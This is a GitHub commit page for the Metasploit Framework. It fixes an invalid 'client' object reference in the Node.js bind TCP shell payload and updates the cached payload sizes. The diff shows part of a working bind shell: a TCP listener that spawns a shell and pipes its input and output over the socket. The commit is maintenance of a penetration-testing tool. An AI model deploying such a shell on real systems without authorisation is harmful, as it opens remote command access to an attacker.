Skip to content

Commit

Permalink
Land #9072, remove invalid 'client' object reference in nodejs
Browse files Browse the repository at this point in the history
  • Loading branch information
jmartin-tech committed Oct 11, 2017
2 parents e976a91 + b76c1f3 commit df1f7df
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 6 deletions.
8 changes: 4 additions & 4 deletions lib/msf/core/payload/nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,11 @@ def nodejs_bind_tcp
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
sh.stdout.pipe(socket);
sh.stderr.pipe(socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
}
});
server.listen(#{datastore['LPORT']});
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/bind_nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 2351
CachedSize = 2239

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 583
CachedSize = 555

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down

0 comments on commit df1f7df

Please sign in to comment.